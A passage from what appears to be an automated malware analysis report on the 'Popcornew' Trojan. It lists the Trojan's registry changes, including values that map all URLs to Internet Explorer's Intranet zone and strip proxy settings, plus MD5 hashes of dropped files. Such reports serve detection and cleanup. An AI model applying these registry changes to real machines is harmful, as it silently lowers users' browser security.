"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{97F85554-4DE1-4D54-86F1-E1273E0680EE}\NumMethods]
"(Default)" = "13"

[HKCR\PopcornewUpdate.CredentialDialogMachine]
"(Default)" = "PopcornewUpdate CredentialDialog"

[HKCR\Interface\{AAC9CBD8-BAE8-40DB-966D-7BF61B82CB85}\NumMethods]
"(Default)" = "4"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}]
"Policy" = "3"

[HKCR\CLSID\{9892108A-038E-4D48-9D3C-D1E2A9B706EC}]
"(Default)" = "PSFactoryBuffer"

[HKCR\Interface\{16BC6838-379D-47A7-BA04-6F94A8A6CD88}\NumMethods]
"(Default)" = "4"

[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}\InprocServer32]
"ThreadingModel" = "Both"

[HKCR\Interface\{DF8EBF99-BB5B-4A47-880A-F73B2AA99C61}]
"(Default)" = "IBrowserHttpRequest2"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\Interface\{6B8D4379-95D4-428D-8B3D-D5A655251CD0}]
"(Default)" = "ICredentialDialog"

[HKCR\Interface\{DDAC3A24-5C61-4ED6-9161-3248A4A3E239}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachineFallback"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.ProcessLauncher"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{AAC9CBD8-BAE8-40DB-966D-7BF61B82CB85}]
"(Default)" = "ICoCreateAsync"

[HKCR\Interface\{7FB88587-9AA6-459D-B4BF-E8094DC46C02}\NumMethods]
"(Default)" = "5"

[HKCR\PopcornewUpdate.CoreMachineClass.1\CLSID]
"(Default)" = "{0D692BF5-6C8C-4141-8C24-9CB731D78F75}"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{91231829-C94F-497E-85B7-4A9ED7C8A2E4}]
"(Default)" = "IPopcornewUpdate3Web"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\Elevation]
"Enabled" = "1"

[HKCR\Interface\{91231829-C94F-497E-85B7-4A9ED7C8A2E4}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine\CurVer]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachine.1.0"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\PopcornewUpdate.CredentialDialogMachine\CLSID]
"(Default)" = "{3DD579C6-640C-4873-9596-D5BD8ECB8E99}"

[HKCR\PopcornewUpdate.CredentialDialogMachine.1.0\CLSID]
"(Default)" = "{3DD579C6-640C-4873-9596-D5BD8ECB8E99}"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}]
"(Default)" = "Popcornew.OneClickProcessLauncher"

[HKCR\Interface\{94612B35-2B11-4D25-A19B-4DEB5FCFCEC7}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{AAC9CBD8-BAE8-40DB-966D-7BF61B82CB85}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.Update3WebMachine.1.0]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\Interface\{3B455781-2C9A-4A5F-97BD-18CD9FB621F1}]
"(Default)" = "IAppWeb"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\CLSID\{9892108A-038E-4D48-9D3C-D1E2A9B706EC}\InProcServer32]
"ThreadingModel" = "Both"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachine"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\ProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachine.1.0"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\Interface\{16BC6838-379D-47A7-BA04-6F94A8A6CD88}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.Update3WebMachine]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\PopcornewUpdate.ProcessLauncher.1.0]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\PopcornewUpdate.Update3WebMachineFallback.1.0\CLSID]
"(Default)" = "{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}"

[HKCR\Interface\{FDDD22AC-8EEB-4615-9D22-E7BF00BBDF98}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

The Trojan deletes the following registry key(s):

[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}\InprocServer32]
[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}\InprocHandler32]
[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}]
[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}]

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process %original file name%.exe:1380 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 53 17 25 72 F4 55 B7 F0 B9 ED 4E C3 38 72 6C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process popcornew.exe:2548 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7A 67 55 A7 78 0B 9A C7 41 D6 BA 9F DC 30 3A 87"

The process popcornew.exe:1972 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC D8 D7 C8 56 9D 4B 5E CB 7E 56 05 1C EA 5A 5D"

[HKU\.DEFAULT\Software\Popcornew]
"ID" = "{87374610-4213-4721-9CBD-61E510FA861E}"

[HKLM\SOFTWARE\Popcornew\Update]
"UID" = "{87374610-4213-4721-9CBD-61E510FA861E}"

The process popcornew.exe:2488 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 29 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA B8 46 6D 15 2E 8B 19 AA E2 B3 17 92 D6 3F 9C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Popcornew]
"ID" = "{4AF15487-35AE-472A-AFD9-733DADC4EB80}"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsy2.tmp:1448 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EF 0C F6 A7 DD 9C 61 C4 91 CC AC 8F A0 67 75 98"

The process MsiExec.exe:1520 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AD FB 60 25 AE AB 36 FC AB 78 3C 51 67 FE 7B E1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Popcornew\Popcornew]
"popcornew.exe" = "Popcornew"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Dropped PE files

MD5 File path
47c6119d6e902262ff4c7f61c56526e9c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\PopcornewCrashHandler.exe
47c6119d6e902262ff4c7f61c56526e9c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\PopcornewUpdate.exe
d211e598c4bc0f4557fe9c3091b9301cc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\PopcornewUpdateBroker.exe
67fac480f0a601b5baa77789b98d67bbc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\PopcornewUpdateOnDemand.exe
1bc12980d2c3fc6c0a50698983183ec1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdate.dll
180bc373eccadcfc4b151242b90b39cdc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_am.dll
f71064bb6dc85a2ed2f67c009b92539ac:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ar.dll
fd36674e5a53d0b3c5e4e566e5aaeed2c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_bg.dll
e2dade073d6b4af14a8a3ff2e17f8948c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_bn.dll
27be74627eef3d3c0af393b71c706fa0c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ca.dll
f9782721f819217d2473f6e1a9b568ecc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_cs.dll
8b62774660fbfc6183f6033bdbab9103c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_da.dll
8e3c0b918dd53d4be852c15736138cd2c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_de.dll
a819a41ddef3059e66344c43dc6752d5c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_el.dll
5eafa285d9ebe6802175744ac23b3290c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_en-GB.dll
d6d545f27055c492f790e6ca6b39d624c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_en.dll
bf75bccbca4e909386028c8dd8fdc144c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_es-419.dll
3284f753a65a1dee9a25d3b6ba7bc467c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_es.dll
03ae086f3b09b5f5e7d7890af1aa43cac:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_et.dll
f12c69d25ea8cc0bc6d3ea0369f394a2c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_fa.dll
48604f9a8bc204b3e5b448d86e8e6ea6c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_fi.dll
f43505264123d8a07510f00f92d3b3acc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_fil.dll
84e63c834f3dfd2526c2cd040bdc464fc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_fr.dll
95b667e996d0e87ca7fa14c7ed23a799c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_gu.dll
30e98f86833a196915b5c480d5c7c097c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_hi.dll
d02be26c73f0afb36d8663a4b44475fac:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_hr.dll
7ef6630de12351be147c607aab001b5bc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_hu.dll
35e1f7e0454fc35994472a7b90963885c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_id.dll
15cc9eb1ef024dfaf39cd6b53e9242aec:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_is.dll
d5250c603eefc47cd980c340e032d726c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_it.dll
c2f12005c1f25c5478cd086b909a4486c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_iw.dll
331a13564124eae00126e344cfab0898c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ja.dll
f5108372202576390c7970d24f558006c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_kn.dll
6093082d0115308c25f567e41abb988fc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ko.dll
78d1bcd3edcd5fc5663e4b4631509e84c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_lt.dll
f161e74fe24cd829ec402e3848c87289c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_lv.dll
67d0f8626d45de75972f4de319bbddf5c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ml.dll
5652a893027b289267d531b7c78acd3cc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_mr.dll
4f182af2b0a92007da2d3613d17bf0ddc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ms.dll
3ee41d22f0d9106e8b5928bb8fe36313c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_nl.dll
3bfd6e040350845a16466c11582adaa3c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_no.dll
dfeb655b014e747f4f21042eb9239bd3c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_pl.dll
c3a2c6a0cf3e356fa4a46b86e36401dac:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_pt-BR.dll
913f01ec833f814d77a3bda615cb26a0c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_pt-PT.dll
69a73edda2f72ba5e3c65547e478ab39c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ro.dll
3720af0e2067549a113b854e87ec7506c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_ru.dll
7270f15dfe0f15a46185d9cbf96b0520c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_sk.dll
e8432e7e9e0988346a043244655900cfc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_sl.dll
413579c01ca8e32116ab4aaec02e6521c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\GUM4.tmp\goopdateres_sr.dll
7667d7dc2977b568a65970926f518bb4c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsy2.tmp
47c6119d6e902262ff4c7f61c56526e9c:\Program Files\Popcornew\Update\1.3.25.0\PopcornewCrashHandler.exe
47c6119d6e902262ff4c7f61c56526e9c:\Program Files\Popcornew\Update\1.3.25.0\PopcornewUpdate.exe
d211e598c4bc0f4557fe9c3091b9301cc:\Program Files\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe
67fac480f0a601b5baa77789b98d67bbc:\Program Files\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe
1bc12980d2c3fc6c0a50698983183ec1c:\Program Files\Popcornew\Update\1.3.25.0\goopdate.dll
180bc373eccadcfc4b151242b90b39cdc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_am.dll
f71064bb6dc85a2ed2f67c009b92539ac:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ar.dll
fd36674e5a53d0b3c5e4e566e5aaeed2c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_bg.dll
e2dade073d6b4af14a8a3ff2e17f8948c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_bn.dll
27be74627eef3d3c0af393b71c706fa0c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ca.dll
f9782721f819217d2473f6e1a9b568ecc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_cs.dll
8b62774660fbfc6183f6033bdbab9103c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_da.dll
8e3c0b918dd53d4be852c15736138cd2c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_de.dll
a819a41ddef3059e66344c43dc6752d5c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_el.dll
5eafa285d9ebe6802175744ac23b3290c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_en-GB.dll
d6d545f27055c492f790e6ca6b39d624c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_en.dll
bf75bccbca4e909386028c8dd8fdc144c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_es-419.dll
3284f753a65a1dee9a25d3b6ba7bc467c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_es.dll
03ae086f3b09b5f5e7d7890af1aa43cac:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_et.dll
f12c69d25ea8cc0bc6d3ea0369f394a2c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_fa.dll
48604f9a8bc204b3e5b448d86e8e6ea6c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_fi.dll
f43505264123d8a07510f00f92d3b3acc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_fil.dll
84e63c834f3dfd2526c2cd040bdc464fc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_fr.dll
95b667e996d0e87ca7fa14c7ed23a799c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_gu.dll
30e98f86833a196915b5c480d5c7c097c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_hi.dll
d02be26c73f0afb36d8663a4b44475fac:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_hr.dll
7ef6630de12351be147c607aab001b5bc:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_hu.dll
35e1f7e0454fc35994472a7b90963885c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_id.dll
15cc9eb1ef024dfaf39cd6b53e9242aec:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_is.dll
d5250c603eefc47cd980c340e032d726c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_it.dll
c2f12005c1f25c5478cd086b909a4486c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_iw.dll
331a13564124eae00126e344cfab0898c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_ja.dll
f5108372202576390c7970d24f558006c:\Program Files\Popcornew\Update\1.3.25.0\goopdateres_kn.dll
